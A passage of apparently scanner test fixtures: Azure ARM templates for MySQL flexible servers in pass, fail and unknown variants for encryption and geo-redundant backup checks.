    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"apiVersion\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"2021-05-01\"\n        },\n        \"administratorLogin\": {\n            \"type\": \"string\"\n        },\n        \"administratorLoginPassword\": {\n            \"type\": \"securestring\"\n        },\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"serverName\": {\n            \"type\": \"string\"\n        },\n        \"serverEdition\": {\n            \"type\": \"string\"\n        },\n        \"vCores\": {\n            \"type\": \"int\",\n            \"defaultValue\": 4\n        },\n        \"storageSizeGB\": {\n            \"type\": \"int\"\n        },\n        \"haEnabled\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Disabled\"\n        },\n        \"availabilityZone\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"\"\n        },\n        \"standbyAvailabilityZone\": {\n            \"type\": \"string\"\n        },\n        \"version\": {\n            \"type\": \"string\"\n        },\n        \"tags\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"firewallRules\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"backupRetentionDays\": {\n            \"type\": \"int\"\n        },\n        \"geoRedundantBackup\": {\n            \"type\": \"string\"\n        },\n        \"vmName\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Standard_B1ms\"\n        },\n        \"storageIops\": {\n            \"type\": \"int\"\n        },\n        \"storageAutogrow\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Enabled\"\n        },\n        \"autoIoScaling\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Disabled\"\n        },\n        \"identityData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"dataEncryptionData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {\n                \"type\": \"AzureKeyVault\",\n                \"primaryUserAssignedIdentityId\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.ManagedIdentity/userAssignedIdentities/pike\",\n                \"primaryKeyURI\": \"https://pike3.vault.azure.net/keys/pike/ae9a3b26e89445c49fe2b92091017ba2\"\n            }\n        },\n        \"serverParameters\": {\n            \"type\": \"array\",\n            \"defaultValue\": []\n        },\n        \"aadEnabled\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false\n        },\n        \"aadData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"guid\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"[newGuid()]\"\n        },\n        \"network\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"firewallRulesAPIVersion\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"2022-01-01\"\n        }\n    },\n    \"variables\": {\n        \"api\": \"[parameters('apiVersion')]\",\n        \"firewallRules\": \"[parameters('firewallRules').rules]\",\n        \"serverParameters\": \"[parameters('serverParameters')]\"\n    },\n    \"resources\": [\n        {\n            \"apiVersion\": \"[variables('api')]\",\n            \"location\": \"[parameters('location')]\",\n            \"name\": \"pass\",\n            \"identity\": \"[if(empty(parameters('identityData')), json('null'), parameters('identityData'))]\",\n            \"properties\": {\n                \"createMode\": \"Default\",\n                \"version\": \"[parameters('version')]\",\n                \"administratorLogin\": \"[parameters('administratorLogin')]\",\n                \"administratorLoginPassword\": \"[parameters('administratorLoginPassword')]\",\n                \"Network\": \"[if(empty(parameters('network')), json('null'), parameters('network'))]\",\n                \"Storage\": {\n                    \"StorageSizeGB\": \"[parameters('storageSizeGB')]\",\n                    \"Iops\": \"[parameters('storageIops')]\",\n                    \"Autogrow\": \"[parameters('storageAutogrow')]\",\n                    \"AutoIoScaling\": \"[parameters('autoIoScaling')]\"\n                },\n                \"Backup\": {\n                    \"backupRetentionDays\": \"[parameters('backupRetentionDays')]\",\n                    \"geoRedundantBackup\": \"[parameters('geoRedundantBackup')]\"\n                },\n                \"availabilityZone\": \"[parameters('availabilityZone')]\",\n                \"highAvailability\": {\n                    \"mode\": \"[parameters('haEnabled')]\",\n                    \"standbyAvailabilityZone\": \"[parameters('standbyAvailabilityZone')]\"\n                },\n                \"dataencryption\": \"[parameters('dataEncryptionData')]\"\n            },\n            \"sku\": {\n                \"name\": \"[parameters('vmName')]\",\n                \"tier\": \"[parameters('serverEdition')]\",\n                \"capacity\": \"[parameters('vCores')]\"\n            },\n            \"tags\": \"[parameters('tags')]\",\n            \"type\": \"Microsoft.DBforMySQL/flexibleServers\"\n        },\n        {\n            \"condition\": \"[greater(length(variables('firewallRules')), 0)]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"name\": \"[concat('firewallRules-', parameters('guid'), '-', copyIndex())]\",\n            \"copy\": {\n                \"count\": \"[if(greater(length(variables('firewallRules')), 0), length(variables('firewallRules')), 1)]\",\n                \"mode\": \"Serial\",\n                \"name\": \"firewallRulesIterator\"\n            },\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\",\n                \"[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]\"\n            ],\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/firewallRules\",\n                            \"name\": \"[concat(parameters('serverName'),'/',variables('firewallRules')[copyIndex()].name)]\",\n                            \"apiVersion\": \"[parameters('firewallRulesAPIVersion')]\",\n                            \"properties\": {\n                                \"StartIpAddress\": \"[variables('firewallRules')[copyIndex()].startIPAddress]\",\n                                \"EndIpAddress\": \"[variables('firewallRules')[copyIndex()].endIPAddress]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"condition\": \"[parameters('aadEnabled')]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"name\": \"[concat('addAdmins-', parameters('guid'))]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\"\n            ],\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/administrators\",\n                            \"name\": \"[concat(parameters('serverName'),'/ActiveDirectory')]\",\n                            \"apiVersion\": \"[variables('api')]\",\n                            \"properties\": {\n                                \"administratorType\": \"[parameters('aadData').administratorType]\",\n                                \"identityResourceId\": \"[parameters('aadData').identityResourceId]\",\n                                \"login\": \"[parameters('aadData').login]\",\n                                \"sid\": \"[parameters('aadData').sid]\",\n                                \"tenantId\": \"[parameters('aadData').tenantId]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"condition\": \"[and(greater(length(variables('serverParameters')), 0), parameters('aadEnabled'))]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"copy\": {\n                \"count\": \"[if(greater(length(variables('serverParameters')), 0), length(variables('serverParameters')), 1)]\",\n                \"mode\": \"serial\",\n                \"name\": \"serverParametersIterator\"\n            },\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\",\n                \"[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]\"\n            ],\n            \"name\": \"[concat('serverParameters-', copyIndex(), '-', parameters('guid'))]\",\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/configurations\",\n                            \"name\": \"[concat(parameters('serverName'),'/',variables('serverParameters')[copyIndex()].name)]\",\n                            \"apiVersion\": \"[variables('api')]\",\n                            \"properties\": {\n                                \"value\": \"[variables('serverParameters')[copyIndex()].value]\",\n                                \"source\": \"[variables('serverParameters')[copyIndex()].source]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_MySQLEncryptionEnabled/unknown.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"apiVersion\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"2021-05-01\"\n        },\n        \"administratorLogin\": {\n            \"type\": \"string\"\n        },\n        \"administratorLoginPassword\": {\n            \"type\": \"securestring\"\n        },\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"serverName\": {\n            \"type\": \"string\"\n        },\n        \"serverEdition\": {\n            \"type\": \"string\"\n        },\n        \"vCores\": {\n            \"type\": \"int\",\n            \"defaultValue\": 4\n        },\n        \"storageSizeGB\": {\n            \"type\": \"int\"\n        },\n        \"haEnabled\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Disabled\"\n        },\n        \"availabilityZone\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"\"\n        },\n        \"standbyAvailabilityZone\": {\n            \"type\": \"string\"\n        },\n        \"version\": {\n            \"type\": \"string\"\n        },\n        \"tags\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"firewallRules\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"backupRetentionDays\": {\n            \"type\": \"int\"\n        },\n        \"geoRedundantBackup\": {\n            \"type\": \"string\"\n        },\n        \"vmName\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Standard_B1ms\"\n        },\n        \"storageIops\": {\n            \"type\": \"int\"\n        },\n        \"storageAutogrow\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Enabled\"\n        },\n        \"autoIoScaling\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Disabled\"\n        },\n        \"identityData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"dataEncryptionData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"serverParameters\": {\n            \"type\": \"array\",\n            \"defaultValue\": []\n        },\n        \"aadEnabled\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false\n        },\n        \"aadData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"guid\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"[newGuid()]\"\n        },\n        \"network\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"firewallRulesAPIVersion\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"2022-01-01\"\n        }\n    },\n    \"variables\": {\n        \"api\": \"[parameters('apiVersion')]\",\n        \"firewallRules\": \"[parameters('firewallRules').rules]\",\n        \"serverParameters\": \"[parameters('serverParameters')]\"\n    },\n    \"resources\": [\n        {\n            \"apiVersion\": \"[variables('api')]\",\n            \"location\": \"[parameters('location')]\",\n            \"name\": \"unknown\",\n            \"identity\": \"[if(empty(parameters('identityData')), json('null'), parameters('identityData'))]\",\n            \"properties\": {\n                \"createMode\": \"Default\",\n                \"version\": \"[parameters('version')]\",\n                \"administratorLogin\": \"[parameters('administratorLogin')]\",\n                \"administratorLoginPassword\": \"[parameters('administratorLoginPassword')]\",\n                \"Network\": \"[if(empty(parameters('network')), json('null'), parameters('network'))]\",\n                \"Storage\": {\n                    \"StorageSizeGB\": \"[parameters('storageSizeGB')]\",\n                    \"Iops\": \"[parameters('storageIops')]\",\n                    \"Autogrow\": \"[parameters('storageAutogrow')]\",\n                    \"AutoIoScaling\": \"[parameters('autoIoScaling')]\"\n                },\n                \"Backup\": {\n                    \"backupRetentionDays\": \"[parameters('backupRetentionDays')]\",\n                    \"geoRedundantBackup\": \"[parameters('geoRedundantBackup')]\"\n                },\n                \"availabilityZone\": \"[parameters('availabilityZone')]\",\n                \"highAvailability\": {\n                    \"mode\": \"[parameters('haEnabled')]\",\n                    \"standbyAvailabilityZone\": \"[parameters('standbyAvailabilityZone')]\"\n                },\n                \"dataencryption\": \"[if(empty(parameters('dataEncryptionData')), json('null'), parameters('dataEncryptionData'))]\"\n            },\n            \"sku\": {\n                \"name\": \"[parameters('vmName')]\",\n                \"tier\": \"[parameters('serverEdition')]\",\n                \"capacity\": \"[parameters('vCores')]\"\n            },\n            \"tags\": \"[parameters('tags')]\",\n            \"type\": \"Microsoft.DBforMySQL/flexibleServers\"\n        },\n        {\n            \"condition\": \"[greater(length(variables('firewallRules')), 0)]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"name\": \"[concat('firewallRules-', parameters('guid'), '-', copyIndex())]\",\n            \"copy\": {\n                \"count\": \"[if(greater(length(variables('firewallRules')), 0), length(variables('firewallRules')), 1)]\",\n                \"mode\": \"Serial\",\n                \"name\": \"firewallRulesIterator\"\n            },\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\",\n                \"[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]\"\n            ],\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/firewallRules\",\n                            \"name\": \"[concat(parameters('serverName'),'/',variables('firewallRules')[copyIndex()].name)]\",\n                            \"apiVersion\": \"[parameters('firewallRulesAPIVersion')]\",\n                            \"properties\": {\n                                \"StartIpAddress\": \"[variables('firewallRules')[copyIndex()].startIPAddress]\",\n                                \"EndIpAddress\": \"[variables('firewallRules')[copyIndex()].endIPAddress]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"condition\": \"[parameters('aadEnabled')]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"name\": \"[concat('addAdmins-', parameters('guid'))]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\"\n            ],\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/administrators\",\n                            \"name\": \"[concat(parameters('serverName'),'/ActiveDirectory')]\",\n                            \"apiVersion\": \"[variables('api')]\",\n                            \"properties\": {\n                                \"administratorType\": \"[parameters('aadData').administratorType]\",\n                                \"identityResourceId\": \"[parameters('aadData').identityResourceId]\",\n                                \"login\": \"[parameters('aadData').login]\",\n                                \"sid\": \"[parameters('aadData').sid]\",\n                                \"tenantId\": \"[parameters('aadData').tenantId]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"condition\": \"[and(greater(length(variables('serverParameters')), 0), parameters('aadEnabled'))]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"copy\": {\n                \"count\": \"[if(greater(length(variables('serverParameters')), 0), length(variables('serverParameters')), 1)]\",\n                \"mode\": \"serial\",\n                \"name\": \"serverParametersIterator\"\n            },\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\",\n                \"[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]\"\n            ],\n            \"name\": \"[concat('serverParameters-', copyIndex(), '-', parameters('guid'))]\",\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/configurations\",\n                            \"name\": \"[concat(parameters('serverName'),'/',variables('serverParameters')[copyIndex()].name)]\",\n                            \"apiVersion\": \"[variables('api')]\",\n                            \"properties\": {\n                                \"value\": \"[variables('serverParameters')[copyIndex()].value]\",\n                                \"source\": \"[variables('serverParameters')[copyIndex()].source]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_MySQLGeoBackupEnabled/fail.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"apiVersion\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"2021-05-01\"\n        },\n        \"administratorLogin\": {\n            \"type\": \"string\"\n        },\n        \"administratorLoginPassword\": {\n            \"type\": \"securestring\"\n        },\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"serverName\": {\n            \"type\": \"string\"\n        },\n        \"serverEdition\": {\n            \"type\": \"string\"\n        },\n        \"vCores\": {\n            \"type\": \"int\",\n            \"defaultValue\": 4\n        },\n        \"storageSizeGB\": {\n            \"type\": \"int\"\n        },\n        \"haEnabled\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Disabled\"\n        },\n        \"availabilityZone\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"\"\n        },\n        \"standbyAvailabilityZone\": {\n            \"type\": \"string\"\n        },\n        \"version\": {\n            \"type\": \"string\"\n        },\n        \"tags\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"firewallRules\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"backupRetentionDays\": {\n            \"type\": \"int\"\n        },\n        \"geoRedundantBackup\": {\n            \"type\": \"string\"\n        },\n        \"vmName\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Standard_B1ms\"\n        },\n        \"storageIops\": {\n            \"type\": \"int\"\n        },\n        \"storageAutogrow\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Enabled\"\n        },\n        \"autoIoScaling\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Disabled\"\n        },\n        \"identityData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"dataEncryptionData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"serverParameters\": {\n            \"type\": \"array\",\n            \"defaultValue\": []\n        },\n        \"aadEnabled\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false\n        },\n        \"aadData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"guid\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"[newGuid()]\"\n        },\n        \"network\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"firewallRulesAPIVersion\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"2022-01-01\"\n        }\n    },\n    \"variables\": {\n        \"api\": \"[parameters('apiVersion')]\",\n        \"firewallRules\": \"[parameters('firewallRules').rules]\",\n        \"serverParameters\": \"[parameters('serverParameters')]\"\n    },\n    \"resources\": [\n        {\n            \"apiVersion\": \"[variables('api')]\",\n            \"location\": \"[parameters('location')]\",\n            \"name\": \"fail\",\n            \"identity\": \"[if(empty(parameters('identityData')), json('null'), parameters('identityData'))]\",\n            \"properties\": {\n                \"createMode\": \"Default\",\n                \"version\": \"[parameters('version')]\",\n                \"administratorLogin\": \"[parameters('administratorLogin')]\",\n                \"administratorLoginPassword\": \"[parameters('administratorLoginPassword')]\",\n                \"Network\": \"[if(empty(parameters('network')), json('null'), parameters('network'))]\",\n                \"Storage\": {\n                    \"StorageSizeGB\": \"[parameters('storageSizeGB')]\",\n                    \"Iops\": \"[parameters('storageIops')]\",\n                    \"Autogrow\": \"[parameters('storageAutogrow')]\",\n                    \"AutoIoScaling\": \"[parameters('autoIoScaling')]\"\n                },\n                \"Backup\": {\n                    \"backupRetentionDays\": \"[parameters('backupRetentionDays')]\",\n                    \"geoRedundantBackup\": \"[parameters('geoRedundantBackup')]\"\n                },\n                \"availabilityZone\": \"[parameters('availabilityZone')]\",\n                \"highAvailability\": {\n                    \"mode\": \"[parameters('haEnabled')]\",\n                    \"standbyAvailabilityZone\": \"[parameters('standbyAvailabilityZone')]\"\n                }\n            },\n            \"sku\": {\n                \"name\": \"[parameters('vmName')]\",\n                \"tier\": \"[parameters('serverEdition')]\",\n                \"capacity\": \"[parameters('vCores')]\"\n            },\n            \"tags\": \"[parameters('tags')]\",\n            \"type\": \"Microsoft.DBforMySQL/flexibleServers\"\n        },\n        {\n            \"condition\": \"[greater(length(variables('firewallRules')), 0)]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"name\": \"[concat('firewallRules-', parameters('guid'), '-', copyIndex())]\",\n            \"copy\": {\n                \"count\": \"[if(greater(length(variables('firewallRules')), 0), length(variables('firewallRules')), 1)]\",\n                \"mode\": \"Serial\",\n                \"name\": \"firewallRulesIterator\"\n            },\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\",\n                \"[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]\"\n            ],\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/firewallRules\",\n                            \"name\": \"[concat(parameters('serverName'),'/',variables('firewallRules')[copyIndex()].name)]\",\n                            \"apiVersion\": \"[parameters('firewallRulesAPIVersion')]\",\n                            \"properties\": {\n                                \"StartIpAddress\": \"[variables('firewallRules')[copyIndex()].startIPAddress]\",\n                                \"EndIpAddress\": \"[variables('firewallRules')[copyIndex()].endIPAddress]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"condition\": \"[parameters('aadEnabled')]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"name\": \"[concat('addAdmins-', parameters('guid'))]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\"\n            ],\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/administrators\",\n                            \"name\": \"[concat(parameters('serverName'),'/ActiveDirectory')]\",\n                            \"apiVersion\": \"[variables('api')]\",\n                            \"properties\": {\n                                \"administratorType\": \"[parameters('aadData').administratorType]\",\n                                \"identityResourceId\": \"[parameters('aadData').identityResourceId]\",\n                                \"login\": \"[parameters('aadData').login]\",\n                                \"sid\": \"[parameters('aadData').sid]\",\n                                \"tenantId\": \"[parameters('aadData').tenantId]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"condition\": \"[and(greater(length(variables('serverParameters')), 0), parameters('aadEnabled'))]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"copy\": {\n                \"count\": \"[if(greater(length(variables('serverParameters')), 0), length(variables('serverParameters')), 1)]\",\n                \"mode\": \"serial\",\n                \"name\": \"serverParametersIterator\"\n            },\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\",\n                \"[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]\"\n            ],\n            \"name\": \"[concat('serverParameters-', copyIndex(), '-', parameters('guid'))]\",\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/configurations\",\n                            \"name\": \"[concat(parameters('serverName'),'/',variables('serverParameters')[copyIndex()].name)]\",\n                            \"apiVersion\": \"[variables('api')]\",\n                            \"properties\": {\n                                \"value\": \"[variables('serverParameters')[copyIndex()].value]\",\n                                \"source\": \"[variables('serverParameters')[copyIndex()].source]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_MySQLGeoBackupEnabled/pass.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"apiVersion\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"2021-05-01\"\n        },\n        \"administratorLogin\": {\n            \"type\": \"string\"\n        },\n        \"administratorLoginPassword\": {\n            \"type\": \"securestring\"\n        },\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"serverName\": {\n            \"type\": \"string\"\n        },\n        \"serverEdition\": {\n            \"type\": \"string\"\n        },\n        \"vCores\": {\n            \"type\": \"int\",\n            \"defaultValue\": 4\n        },\n        \"storageSizeGB\": {\n            \"type\": \"int\"\n        },\n        \"haEnabled\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Disabled\"\n        },\n        \"availabilityZone\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"\"\n        },\n        \"standbyAvailabilityZone\": {\n            \"type\": \"string\"\n        },\n        \"version\": {\n            \"type\": \"string\"\n        },\n        \"tags\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"firewallRules\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"backupRetentionDays\": {\n            \"type\": \"int\"\n        },\n        \"geoRedundantBackup\": {\n            \"type\": \"string\",\n            \"defaultValue\": true\n        },\n        \"vmName\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Standard_B1ms\"\n        },\n        \"storageIops\": {\n            \"type\": \"int\"\n        },\n        \"storageAutogrow\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Enabled\"\n        },\n        \"autoIoScaling\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Disabled\"\n        },\n        \"identityData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"dataEncryptionData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {\n                \"type\": \"AzureKeyVault\",\n                \"primaryUserAssignedIdentityId\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.ManagedIdentity/userAssignedIdentities/pike\",\n                \"primaryKeyURI\": \"https://pike3.vault.azure.net/keys/pike/ae9a3b26e89445c49fe2b92091017ba2\"\n            }\n        },\n        \"serverParameters\": {\n            \"type\": \"array\",\n            \"defaultValue\": []\n        },\n        \"aadEnabled\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false\n        },\n        \"aadData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"guid\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"[newGuid()]\"\n        },\n        \"network\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"firewallRulesAPIVersion\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"2022-01-01\"\n        }\n    },\n    \"variables\": {\n        \"api\": \"[parameters('apiVersion')]\",\n        \"firewallRules\": \"[parameters('firewallRules').rules]\",\n        \"serverParameters\": \"[parameters('serverParameters')]\"\n    },\n    \"resources\": [\n        {\n            \"apiVersion\": \"[variables('api')]\",\n            \"location\": \"[parameters('location')]\",\n            \"name\": \"pass\",\n            \"identity\": \"[if(empty(parameters('identityData')), json('null'), parameters('identityData'))]\",\n            \"properties\": {\n                \"createMode\": \"Default\",\n                \"version\": \"[parameters('version')]\",\n                \"administratorLogin\": \"[parameters('administratorLogin')]\",\n                \"administratorLoginPassword\": \"[parameters('administratorLoginPassword')]\",\n                \"Network\": \"[if(empty(parameters('network')), json('null'), parameters('network'))]\",\n                \"Storage\": {\n                    \"StorageSizeGB\": \"[parameters('storageSizeGB')]\",\n                    \"Iops\": \"[parameters('storageIops')]\",\n                    \"Autogrow\": \"[parameters('storageAutogrow')]\",\n                    \"AutoIoScaling\": \"[parameters('autoIoScaling')]\"\n                },\n                \"Backup\": {\n                    \"backupRetentionDays\": \"[parameters('backupRetentionDays')]\",\n                    \"geoRedundantBackup\": true\n                },\n                \"availabilityZone\": \"[parameters('availabilityZone')]\",\n                \"highAvailability\": {\n                    \"mode\": \"[parameters('haEnabled')]\",\n                    \"standbyAvailabilityZone\": \"[parameters('standbyAvailabilityZone')]\"\n                },\n                \"dataencryption\": \"[parameters('dataEncryptionData')]\"\n            },\n            \"sku\": {\n                \"name\": \"[parameters('vmName')]\",\n                \"tier\": \"[parameters('serverEdition')]\",\n                \"capacity\": \"[parameters('vCores')]\"\n            },\n            \"tags\": \"[parameters('tags')]\",\n            \"type\": \"Microsoft.DBforMySQL/flexibleServers\"\n        },\n        {\n            \"condition\": \"[greater(length(variables('firewallRules')), 0)]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"name\": \"[concat('firewallRules-', 